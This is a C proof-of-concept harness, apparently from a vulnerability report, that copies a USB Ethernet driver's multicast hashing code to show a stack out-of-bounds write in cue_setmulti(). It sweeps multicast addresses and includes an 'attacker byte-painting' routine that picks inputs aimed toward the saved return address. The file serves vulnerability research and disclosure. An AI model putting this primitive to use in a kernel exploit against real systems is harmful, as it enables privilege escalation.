DF-1081 / cue_oob_harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 | /* * cue_oob_harness.c โ userspace proof of the DF-1081 stack OOB primitive. * * The guest has no CATC USB Ethernet hardware (and no USB host controller * at all), so cue_setmulti() cannot be invoked at runtime. This harness * instead replicates the EXACT kernel code paths โ ether_crc32_le() (the * compiled table-driven variant in sys/net/if_ethersubr.c:841-862) and * cue_mchash() (sys/bus/u4b/net/if_cue.c:275-284) โ and proves that the * index `h >> 3` written into the 8-byte stack array `hashtbl[8]` * (if_cue.c:311) goes out of bounds for ordinary multicast addresses, * including the broadcast address that the driver itself feeds in * unconditionally on every cue_init() (if_cue.c:336-338). * * Build: cc -O2 -o cue_oob_harness cue_oob_harness.c * Run: ./cue_oob_harness */ #include <stdint.h> #include <stdio.h> #include <string.h> /* Verbatim copy of the COMPILED kernel variant (if_ethersubr.c:841-862). * The #if 0 reference loop above it is disabled. */ static uint32_t ether_crc32_le(const uint8_t *buf, int len) { static const uint32_t crctab[] = { 0x00000000, 0x1db71064, 0x3b6e20c8, 0x26d930ac, 0x76dc4190, 0x6b6b51f4, 0x4db26158, 0x5005713c, 0xedb88320, 0xf00f9344, 0xd6d6a3e8, 0xcb61b38c, 0x9b64c2b0, 0x86d3d2d4, 0xa00ae278, 0xbdbdf21c }; uint32_t crc = 0xffffffffU; int i; for (i = 0; i < len; i++) { crc ^= buf[i]; crc = (crc >> 4) ^ crctab[crc & 0xf]; crc = (crc >> 4) ^ crctab[crc & 0xf]; } return crc; } /* Verbatim copy of cue_mchash() (if_cue.c:275-284) with CUE_BITS=9. */ #define CUE_BITS 9 static uint32_t cue_mchash(const uint8_t *addr) { return ether_crc32_le(addr, 6) & ((1u << CUE_BITS) - 1); } /* Map an IP multicast address to its Ethernet multicast MAC * (01:00:5e:XX:XX:XX, RFC 1112). This is exactly what in_addmulti() * -> if_addmulti() -> arp_addmulti() produces before cue_setmulti() * iterates the if_multiaddrs list. */ static void ip_to_eth_mc(uint8_t ip[4], uint8_t mac[6]) { mac[0] = 0x01; mac[1] = 0x00; mac[2] = 0x5e; mac[3] = ip[1] & 0x7f; mac[4] = ip[2]; mac[5] = ip[3]; } static void show(const char *tag, const uint8_t mac[6]) { uint32_t h = cue_mchash(mac); uint32_t idx = h >> 3; uint32_t bit = 1u << (h & 7); int oob = (idx >= 8); printf(" %-28s mac=%02x:%02x:%02x:%02x:%02x:%02x h=%-3u " "hashtbl[%2u] |= 0x%02x %s (OOB by %d byte%s)\n", tag, mac[0],mac[1],mac[2],mac[3],mac[4],mac[5], h, idx, bit, oob ? "*** OOB ***" : "in-bounds", oob ? (int)(idx - 8) : 0, oob ? "s" : ""); } int main(void) { uint8_t bcast[6] = {0xff,0xff,0xff,0xff,0xff,0xff}; uint8_t mac[6]; int worst_idx = -1, worst_oob = 0, oob_count = 0; uint32_t i; printf("=== DF-1081 cue_setmulti() stack OOB proof ===\n"); printf("CUE_BITS=9 -> cue_mchash in [0,511]; hashtbl[h>>3] with "); printf("hashtbl[8] (if_cue.c:311)\n"); printf("-> any h>=64 indexes past the 8-byte stack array "); printf("(max idx = 511>>3 = 63, i.e. +55 bytes).\n\n"); /* 1. Broadcast โ driver feeds this in UNCONDITIONALLY on every * cue_init() when IFF_BROADCAST is set (if_cue.c:336-338). */ show("broadcast (auto on init)", bcast); /* 2. The PoC's chosen address: 239.0.0.1 */ uint8_t ip1[4] = {239,0,0,1}; ip_to_eth_mc(ip1, mac); show("239.0.0.1 (PoC)", mac); /* 3. Sweep the whole 239.0.0.0/24 โ what an unpriv user can pick. * Track how many distinct OOB offsets and the worst one. */ printf("\n Sweeping 239.0.0.0/24 (unprivileged-controlled):\n"); for (i = 1; i < 256; i++) { uint8_t ip[4] = {239,0,0,(uint8_t)i}; uint8_t m[6]; ip_to_eth_mc(ip, m); uint32_t h = cue_mchash(m); uint32_t idx = h >> 3; if (idx >= 8) { oob_count++; if ((int)idx > worst_idx) { worst_idx = idx; worst_oob = idx - 8; } } } printf(" %d/255 addresses produce an OOB write; worst offset" " = hashtbl[%d] = %d bytes past the 8-byte array.\n\n", oob_count, worst_idx, worst_oob); /* 4. Confirm the bit-pattern coverage: across the 20 IP_MAX_MEMBERSHIPS * slots a single socket can join, can we paint arbitrary bytes in * the OOB region? Show a representative attacker-chosen set that * writes 0xff across a contiguous run of stack. */ printf(" Attacker byte-painting demo (pick 8 addrs whose (h>>3) land "); printf("on idx 24..31, all 8 bits set -> 0xff per byte):\n"); int painted = 0; for (uint32_t target = 24; target <= 31 && painted < 8; target++) { for (uint32_t i = 1; i < 256; i++) { uint8_t ip[4] = {239,0,0,(uint8_t)i}; uint8_t m[6]; ip_to_eth_mc(ip, m); uint32_t h = cue_mchash(m); if ((h >> 3) == target) { printf(" byte offset %2d (hashtbl[%2u]): ", target-8, target); printf("239.0.0.%-3u -> h=%-3u bit 0x%02x\n", i, h, 1u<<(h&7)); painted++; break; } } } if (painted == 8) { printf(" -> attacker can write a full 0xff..0xff run at " "offsets 16..23 past hashtbl (i.e. into saved frame " "regs / ret addr region with more group joins).\n"); } printf("\n=== Primitive confirmed: stack OOB write, offset & bit "); printf("attacker-controlled, up to +55 bytes. ===\n"); return 0; } |